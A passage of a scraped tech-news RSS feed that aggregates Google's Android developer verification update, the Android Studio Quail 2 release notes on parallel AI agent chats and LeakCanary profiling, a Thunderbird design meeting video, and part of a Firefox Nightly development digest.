<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2JeeSz9AeQDASycrf2ssGmJn2yQGvGFjyU29jKSs5hFtYySX9X5wDw4Pb63DF3co77osfiLeYj6LGt-_1v66X3svzCOdWAZz3w9Q2WKF28T4qZ4tCbiTEsP88lIZ44Ua6mLfg6VIQL_k3PVWlU4vDnJkTc9mJkdz188lH-smTL3oA47Yongl1w8sf4RY/s1235/260317_ADV%20Blog_Metadata.png"><div><i>Posted by Matthew Forsythe, Director Product Management, Android App Safety</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s4210/260317_ADV%20Blog_Header.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s16000/260317_ADV%20Blog_Header.png"></a></div><br><br><div><br></div><div><br></div><div><br></div><b>July 15, 2026: Updated Play Console requirements for Play developers</b><br><br><blockquote>To meet Android developer verification and <a href="https://support.google.com/googleplay/android-developer/answer/17125096">updated Play Console Requirements</a>, Play developers must <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register their Play apps</a> in Play Console. While 99% of apps on Play have been registered automatically, you should check your <a href="https://play.google.com/console/u/0/developers/5700313618786177705/android-developer-verification">Play Console Home page</a> to register any remaining apps by September 30, 2026 to avoid global removal from Google Play and ensure a seamless user installation experience. </blockquote><br><blockquote>You can also use Play Console to register apps you distribute outside of Google Play to ensure they can be installed on certified Android devices.</blockquote><span><div><br></div></span><div>Last year, we introduced <a href="https://developer.android.com/developer-verification">Android developer verification</a> to strengthen ecosystem security and stop malicious actors from hiding behind anonymity to release harmful apps. Millions of apps have been registered since the verification launched in March, covering nearly all installs on Google Play and a large majority of installs from outside of Google Play. We appreciate the feedback and partnership from industry leaders, developers, and Android communities that helped us design this experience and drive strong adoption.<h2>Initial launch across seven stores and four countries</h2>

<p>These new developer verification protections will take effect on September 30, 2026, starting with users in Brazil, Indonesia, Singapore, and Thailand.</p>

<p>This rollout is an <b>industry-wide effort to create a safer ecosystem</b>. We will begin by verifying app installations from the following stores:</p>

<ul>
    <li>Google (Google Play)</li>
    <li>Honor (HONOR App Market)</li>
    <li>OPlus (OPPO App Market)</li>
    <li>Samsung (Galaxy Store)</li>
    <li>Transsion (Palm Store)</li>
    <li>vivo (V-Appstore)</li>
    <li>Xiaomi (GetApps)</li>
</ul>

<p>Following this initial phase with our partners, we will expand these protections globally for all apps on certified Android devices in 2027.</p><h2>Automate your workflow with new APIs</h2>

<p>To further streamline app registration, we are<b> launching a suite of developer-requested APIs</b> to help you register apps in bulk or directly through your continuous integration and deployment (CI/CD) pipelines. The Android Developer ID Status API will let you check if a package name has already been registered, and the Android Developer Console API will let you register and manage package names directly within your development environment. Both APIs also support OAuth delegation, allowing third-party platforms, like Android app stores, to perform these operations natively on your behalf.</p>

We'll launch these APIs over the next few months.<h2>What’s next</h2>

<p></p><ul><li><strong>June 2026:</strong> Starting this month, we are rolling out a new <a href="https://support.google.com/android/answer/17065026">system service</a> that will be automatically installed on most Android devices. This service will be used later this year to verify developer registration.</li><li><strong>July 2026:</strong> We’ll launch the Android Developer ID Status API globally and begin early access for the Android Developer Console API. Early access also starts for <a href="https://developer.android.com/developer-verification/guides/limited-distribution">limited distribution accounts</a> on Android Developer Console. This new type of Android developer account is designed for students, hobbyists, and learners and lets you share your apps to up to 20 devices without a government-issued ID or a fee.</li><li><strong>August 2026:</strong> Limited distribution accounts and the new Android Developer Console API will launch globally. We’ll also launch an <a href="https://android-developers.googleblog.com/2026/03/android-developer-verification.html">advanced flow</a> for installing apps from unverified developers, which includes security checkpoints to resist coercion scams, while allowing power users to maintain the ability to <a href="https://developer.android.com/developer-verification/guides/faq#sideload-apps">sideload apps</a> from unverified developers.</li><li><strong>September 30, 2026:</strong> App registration becomes required for <b>participating stores in Brazil, Indonesia, Singapore, and Thailand</b>. Unregistered apps can be sideloaded with Android Debug Bridge (adb) or advanced flow.</li><li><strong>2027 and beyond:</strong> After incorporating the feedback from our partners, users, and developer community, we’ll expand the Android verification requirement globally.<br></li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s960/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png" imageanchor="1"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s1600/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png"></a></div><br><div><br></div><h2>Get started with Android developer verification</h2>

<p>If you distribute apps in Brazil, Indonesia, Singapore, or Thailand via the stores listed above, please ensure your verification is complete by the September deadline.</p>

<p></p><ul><li><strong>Google Play developers:</strong> Most Play developers are already verified, and over 99% of their apps have been registered. Go to your <a href="https://play.google.com/console/developers/app-list">Play Console Home page</a> to see your app’s verification status, and <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register apps</a> you want to continue distributing that weren't automatically registered.</li><li><strong>Developers who distribute only outside of Google Play:</strong> Sign up for the <a href="https://android.google.com/developerconsole/developers">Android Developer Console</a> today to register your apps.</li></ul><p></p>



<p></p><ul><ul><li><strong>Students and hobbyists:</strong> Sign up <a href="https://google.qualtrics.com/jfe/form/SV_4N7NGE06NjJJdl4">here</a> for early access to limited distribution accounts to help us refine the feature with your feedback.</li></ul></ul><p></p>

Thank you for helping us build a safer Android ecosystem. Stay tuned for more updates as we approach September and the 2027 global rollout.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent]]></title>
<description><![CDATA[Posted by Amman Asfaw, Product Manager, Android Studio

Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are perf...]]></description>
<link>https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:29 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitwUFdkGaqVNsaJ2iCtprD4WZuFjvI1rR6WX35ewxin0wbtVadUtkRb3qYG-KGEKepmtC4WFv2mSAmUBRmZ-oR5ey_-codg1_MhbagflhqgWk2MdNX6-yL8SaADve6mn3v0aJ_uh-qLizIgdImHaQ_KdJfVYqvCga_v_fyJYPHKDyhuhVklAfo145xays/s2461/QuailBlog_Meta.png"><p>Posted by Amman Asfaw, Product Manager, Android Studio</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s2152/QuailMovement_V1_a.gif"><img border="0" data-original-height="608" data-original-width="2152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s1600/QuailMovement_V1_a.gif"></a></div><br><p></p><p><br></p><p><br></p><p><br></p>

<p>Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.</p>
<p>Here’s a deep dive into what’s new:</p>
<h2>Multi-tasking with parallel chats</h2>

<p>In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.</p>In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.<br><br> You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at <a href="http://d.android.com/bench">Android Bench</a> for an analysis of how LLMs perform Android development tasks. 

<p></p><ul><li><strong>How to use:</strong> Click the "+" icon to start a new parallel conversation, and use the <b>History</b> icon to navigate between active tasks. Alternatively, select File &gt; New &gt; New Agent Tab to open a conversation in a dedicated tab.</li><li><strong>Note:</strong> Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.</li></ul><p></p>

<div class="separator">
  
</div>

<p><i>Run multiple agent tasks in parallel with different models of your choice.</i></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s3456/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"><img border="0" data-original-height="2044" data-original-width="3456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s1600/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"></a></div><span><div><i>Use the History icon to navigate between active tasks.</i></div></span><p></p>

<h2>Memory leak detection with LeakCanary</h2>

<p>Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or <code>OutOfMemoryError</code>.</p>

<p>Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector <a href="https://square.github.io/leakcanary/">LeakCanary</a> is natively integrated directly into the Profiler as a dedicated, first-class task.</p>

<p>This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.</p>

<p>Once a leak is detected during a profiling session:</p>
<ul>
  <li>The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.</li>
  <li>You can click <b>Go to declaration</b> on any leaking object in the trace to instantly jump to that exact line of code in your editor.</li>
  <li>You can click <b>Fix with Agent</b> to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1250/Leak_Canary_4e3675ccb2_ZXI2sE.webp"><img border="0" data-original-height="640" data-original-width="1250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1600/Leak_Canary_4e3675ccb2_ZXI2sE.webp"></a><span><i>Review memory leaks identified via LeakCanary through the Fix with Agent button.</i></span></div>

<h2>App Quality Insights agent integration</h2>

<p>Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.</p>

<p>When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click <b>See more</b>. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.</p>

<p>With the new agent integration, you move directly from issue identification to resolution. By clicking <b>Fix with AI</b>, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix</p>

<div class="separator">
  
</div><p><i>The <b>Fix with AI</b> button triggering the agent to analyze the issue, then propose the fix</i></p>

<h2>Quality &amp; stability improvements</h2>

<p>Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.</p>

<h2>Get Started</h2>

<p>Ready to dive in and accelerate your development? <a href="https://developer.android.com/studio">Download</a> Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. <a href="https://developer.android.com/studio/known-issues">Check known issues</a>, <a href="https://developer.android.com/studio/report-bugs">report bugs</a>, and be part of our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a>. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Design System Governance Committee: January 26, 2026 Meeting]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 10x - Views:142 In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird's ma...]]></description>
<link>https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:13 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 10x - Views:142 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/rAJrAmu-lqw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird&#039;s many platforms, W3 token standards, and how to document them. This work will make it easier for new design team members and contributors to jump into their work, while providing a more coherent experience from desktop to mobile and beyond.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
